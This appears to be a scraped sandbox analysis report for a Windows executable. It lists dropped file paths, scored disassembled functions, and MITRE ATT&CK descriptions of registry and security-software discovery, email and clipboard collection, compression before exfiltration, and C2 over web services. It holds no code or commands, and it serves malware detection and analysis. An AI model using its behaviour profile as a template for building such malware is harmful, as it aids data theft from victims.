C:\Users\user\AppData\Local\Iw\14-scaled.jpg

C:\Users\user\AppData\Local\Iw\Andoke\prepares.pli

C:\Users\user\AppData\Local\Iw\Kbmandsskole.str

C:\Users\user\AppData\Local\Iw\Kliner225.Pla

C:\Users\user\AppData\Local\Iw\Osteocele.Tir

C:\Users\user\AppData\Local\Iw\Sensuousnesses.opk

C:\Users\user\AppData\Local\Temp\nspC239.tmp\System.dll

C:\Users\user\AppData\Local\Temp\nsuC035.tmp

Static File Info

General

File Icon

Windows Analysis Report
rXKfKM0T49.exe

Function 004034A5 Relevance: 80.9, APIs: 32, Strings: 14, Instructions: 410
stringfilecomCOMMON

Function 00404DCC Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Function 00405AFA Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Function 00403E86 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 346
windowstringCOMMON

Function 00403AD8 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Function 00402F30 Relevance: 23.0, APIs: 5, Strings: 8, Instructions: 203
memoryCOMMON

Function 0040640A Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 209
stringCOMMON

Function 0040176F Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 145
stringtimeCOMMON

Function 0040264A Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 153
fileCOMMON

Function 00406752 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 70091777 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Function 00405F0D Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Function 00402D44 Relevance: 6.1, APIs: 4, Instructions: 63
registryCOMMON

Function 0040591F Relevance: 6.0, APIs: 4, Instructions: 39
COMMON

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre